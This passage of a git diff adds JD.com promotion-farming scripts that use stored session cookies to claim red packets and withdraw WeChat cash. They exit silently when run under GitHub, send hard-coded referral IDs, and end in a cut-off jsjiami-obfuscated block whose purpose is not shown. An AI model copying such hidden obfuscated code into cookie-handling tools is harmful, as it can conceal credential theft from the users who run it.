e.message) + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +//领取虫洞任务API +function getMemBerGetTask(sourceId) { + return new Promise((resolve) => { + const body = { "source": "game", sourceId}; + const options = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_getTask&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.success) { + // $.getRewardBeans += data.data.beans; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function getReward(uuid) { + return new Promise((resolve) => { + const body = { "source": "game", uuid}; + const options = { + url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_getReward&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`, + headers: { + Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html', + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.success) { + $.getRewardBeans += data.data.beans; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_speed_redpocke.js b/jd_speed_redpocke.js new file mode 100644 index 0000000..53c154d --- /dev/null +++ b/jd_speed_redpocke.js @@ -0,0 +1,503 @@ +/* +京东极速版红包 +自动提现微信现金 +更新时间:2021-5-31 +活动时间:2021-4-6至2021-5-30 +活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html +活动入口:京东极速版-领红包 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版红包 +20 0,22 * * * jd_speed_redpocke.js, tag=京东极速版红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 0,22 * * *" script-path=jd_speed_redpocke.js,tag=京东极速版红包 + +===============Surge================= +京东极速版红包 = type=cron,cronexp="20 0,22 * * *",wake-system=1,timeout=3600,script-path=jd_speed_redpocke.js + +============小火箭========= +京东极速版红包 = type=cron,script-path=jd_speed_redpocke.js, cronexpr="20 0,22 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京东极速版红包'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +const linkId = "AkOULcXbUA_8EAPbYLLMgg"; +const signLinkId = '9WA12jYGulArzWS7vcrwhw'; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + console.log(`\n如提示活动火爆,可再执行一次尝试\n`); + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jsRedPacket() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jsRedPacket() { + try { + await invite(); + await sign();//极速版签到提现 + await reward_query(); + for (let i = 0; i < 3; ++i) { + await redPacket();//开红包 + await $.wait(500) + } + await getPacketList();//领红包提现 + await signPrizeDetailList(); + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +async function sign() { + return new Promise(resolve => { + const body = {"linkId":signLinkId,"serviceName":"dayDaySignGetRedEnvelopeSignService","business":1}; + const options = { + url: `https://api.m.jd.com`, + body: `functionId=apSignIn_day&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': 'https://daily-redpacket.jd.com/?activityId=9WA12jYGulArzWS7vcrwhw', + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.retCode === 0) { + message += `极速版签到提现:签到成功\n`; + console.log(`极速版签到提现:签到成功\n`); + } else { + console.log(`极速版签到提现:签到失败:${data.data.retMessage}\n`); + } + } else { + console.log(`极速版签到提现:签到异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function reward_query() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_query", { + "inviter": ["hJyuwiDvDEc5-jIeec4Iyg", "r3yIDGE86HSsdtyFlrPHJHu_0mNpX_AnBREYO-c3BFY"][Math.floor((Math.random() * 2))], + linkId + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function redPacket() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_receive",{"inviter":["hJyuwiDvDEc5-jIeec4Iyg","r3yIDGE86HSsdtyFlrPHJHu_0mNpX_AnBREYO-c3BFY"][Math.floor((Math.random()*2))],linkId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data.received.prizeType !== 1) { + message += `获得${data.data.received.prizeDesc}\n` + console.log(`获得${data.data.received.prizeDesc}`) + } else { + console.log("获得优惠券") + } + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getPacketList() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_list",{"pageNum":1,"pageSize":100,linkId,"inviter":""}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + for(let item of data.data.items.filter(vo => vo.prizeType===4)){ + if(item.state===0){ + console.log(`去提现${item.amount}微信现金`) + message += `提现${item.amount}微信现金,` + await cashOut(item.id,item.poolBaseId,item.prizeGroupId,item.prizeBaseId) + } + } + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function signPrizeDetailList() { + return new Promise(resolve => { + const body = {"linkId":signLinkId,"serviceName":"dayDaySignGetRedEnvelopeSignService","business":1,"pageSize":20,"page":1}; + const options = { + url: `https://api.m.jd.com`, + body: `functionId=signPrizeDetailList&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': 'https://daily-redpacket.jd.com/?activityId=9WA12jYGulArzWS7vcrwhw', + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.code === 0) { + const list = (data.data.prizeDrawBaseVoPageBean.items || []).filter(vo => vo['prizeType'] === 4 && vo['prizeStatus'] === 0); + for (let code of list) { + console.log(`极速版签到提现,去提现${code['prizeValue']}现金\n`); + message += `极速版签到提现,去提现${code['prizeValue']}微信现金,` + await apCashWithDraw(code['id'], code['poolBaseId'], code['prizeGroupId'], code['prizeBaseId']); + } + } else { + console.log(`极速版签到查询奖品:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`极速版签到查询奖品:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + const body = { + "linkId": signLinkId, + "businessSource": "DAY_DAY_RED_PACKET_SIGN", + "base": { + "prizeType": 4, + "business": "dayDayRedPacket", + "id": id, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId + } + } + const options = { + url: `https://api.m.jd.com`, + body: `functionId=apCashWithDraw&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': 'https://daily-redpacket.jd.com/?activityId=9WA12jYGulArzWS7vcrwhw', + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.status === "310") { + console.log(`极速版签到提现现金成功!`) + message += `极速版签到提现现金成功!`; + } else { + console.log(`极速版签到提现现金:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`极速版签到提现现金:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function cashOut(id,poolBaseId,prizeGroupId,prizeBaseId,) { + let body = { + "businessSource": "SPRING_FESTIVAL_RED_ENVELOPE", + "base": { + "id": id, + "business": null, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId, + "prizeType": 4 + }, + linkId, + "inviter": "" + } + return new Promise(resolve => { + $.post(taskPostUrl("apCashWithDraw",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`提现零钱结果:${data}`) + data = JSON.parse(data); + if (data.code === 0) { + if (data['data']['status'] === "310") { + console.log(`提现成功!`) + message += `提现成功!\n`; + } else { + console.log(`提现失败:${data['data']['message']}`); + message += `提现失败:${data['data']['message']}`; + } + } else { + console.log(`提现异常:${data['errMsg']}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +var _0xod6='jsjiami.com.v6',_0x4f1a=[_0xod6,'HMOaWlMH','w5DCn8Oyw79Jw7MQwrc8f8ObSDVnwrFKd8OiNMOnwrfDosO1wpU4GcKdwooVw7IzAMKSa8OabcK4wqVkw7xydnQjSzN+wr41f8OfEsKXwoFrwq3CncORQT7DthtjwrRZw7zDu8KtXXQaw7ZbSsKFW8Oww7bCpMKaWwdYJzspwqhmdsO+w7XClcOsw57Ci2PCnDdow7rCtWjCtlTCiWLCpMO2HsOlwo/Dk8KPXlbCgREww5bDmcKGBsKlw6jDoXVKLsKxwqXDjsOBwrsswq8aw6YTc2B2wqIGwrEjYRHCpsKfNlpXw4TDhMKzwowrw4vCmWvCmMK7wq1GwoUGIcKEHUVnw6JCwqjDqMKKdcOMXR/Cj8K/a0TDocOgwprCnQnDp8KBbGTCildPDENGayPDucORw5APwphTT1vDti02wqZxwqxrDFDCo0PDrj/CjsK3w7nCmT/DmcKBwq7DhFBQY8OHw53DsEzDqE/DssKhwqbCsFIHwqLDj8OqfhpUw4nCqUXCtcKVwpMSwoXCk202a2nDmMO3','w6jDk3JA','RBx7U8KWbcKmb8Orw5DCoMKOw7hew77CvcKLemDDhcOfY8K7wr5yHsOPZwVrFMKXaGfCjcK8wpgIwoTCvMOfwpPDi8OZwrrCgGTCj8ObAw==','w7Fpw7TDsGYIwrVDXBLCnsK/TsOHPcO5w7HDpE7CpcK+PsKhw7jDvMKFworCgXfCuMOQwojCo8KCwoLCvAEPFVo6EgxJGhM=','w6wBw4FewrsVwqfDqcOJP8Kmw7l9MUIowqXCrWTDt1hxwo8vdXJ7Z8KzwonDsSA1worDqi5CT8OXw6jCuRbCn0k=','w6Euw4x/wrAjw5LDiMO+WMKyw7MEZkA6w4/Cg2bDqVlgw7d1','wpHCtcOcbsK0BcO1QUHCpcKqw6jCsnfDt0PDkMODw4k+Z03DqcO3','Ak8AMsKGDcOhTsKoAg7DicOcwrdlO8O3aMONIivDtsOnw5jDmhvDhcOTw5rCp8Omw7DCqSrDjlZdw6IyDMK1R8K6Cg==','wqLDisKgwqQSw4cUwqlydsKdCDV+w4p7IMOHFsK6w4bCr8Oqwoo=','wqzClsOqNcKbwrnDtMKbQMODwq5cw4HCmgLDpMKEwrAqCMKsdFhi','JGjDlT8Rew48w47CgGbDkMOJwrBFZXIjw7vDh8KjwoTCjMOb','wqDCncOSMcKRXMO9fSbCq8Knw4I=','AMKdNcKTwolYF08nw44sw6DDiydVY8Krw5zClAjDul0Tw4vDsC8EZg==','w5QrO3ly','AX8mNw==','wrHDicK7w4RV','w7DCn8OnZcKv','LsKOTsKrw4w=','MsKpZ0/DqQ==','IsKUAyRs','w7Mgw4Ffw6w=','ElzCl3vDgQ==','OkrCsHHDrQ==','eMKBw4QRw5U=','woMewqBXwoI=','LRhpVlLDicO3e8OZRMKBw4rCg8KrwqLDtMK3a01KwoZPw5LCmBVSwozDs8Klwo4GdcKeS2zCnFFdbkbDjMK0woFb','w48Jw6h/w5Y=','wqUkOMKfwr0=','esOMw5fCocKgwoo=','EMK3EHHDkQ==','w7QJw7ZHwrgvwofDt8OWZcKpwrdPJAQawoHDqDDDqx9Mw6c9N3gmeMKnwpLDpzAy','SB7CgnNu','BcKveXHDrA==','YcOew7fCqsKrwoI=','wrrCssK/','OSAXcMK1GMKcfsOhw6DCo8O4w7s=','wp9BAz1a','M18ZwpHCsA/Du8KvXcOb','fHEIw47Cr8KdHw==','FU7CrXQ=','BsKhWMKAw6HDmD8=','wobChcK/w5LDsg==','wrDCncOhWsKM','OjXsjyiyamHeBi.cpom.kv6LpDS=='];(function(_0x5219f0,_0xb82621,_0x13c086){var _0x4eaaf0=function(_0x538aa0,_0x12707e,_0x2c7ef7,_0x7dd858,_0x24590f){_0x12707e=_0x12707e>>0x8,_0x24590f='po';var _0x2aa13f='shift',_0x259370='push';if(_0x12707e<_0x538aa0){while(--_0x538aa0){_0x7dd858=_0x5219f0[_0x2aa13f]();if(_0x12707e===_0x538aa0){_0x12707e=_0x7dd858;_0x2c7ef7=_0x5219f0[_0x24590f+'p']();}else if(_0x12707e&&_0x2c7ef7['replace'](/[OXyyHeBpkLpDS=]/g,'')===_0x12707e){_0x5219f0[_0x259370](_0x7dd858);}}_0x5219f0[_0x259370](_0x5219f0[_0x2aa13f]());}return 0x8a767;};return _0x4eaaf0(++_0xb82621,_0x13c086)>>_0xb82621^_0x13c086;}(_0x4f1a,0x137,0x13700));var _0x4190=function(_0xaaecd5,_0x593020){_0xaaecd5=~~'0x'['concat'](_0xaaecd5);var _0x2e7b9f=_0x4f1a[_0xaaecd5];if(_0x4190['sDfRUY']===undefined){(function(){var _0xbff5a5=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x362fe4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xbff5a5['atob']||(_0xbff5a5['atob']=function(_0x5daa56){var _0x597031=String(_0x5daa56)['replace'](/=+$/,'');for(var 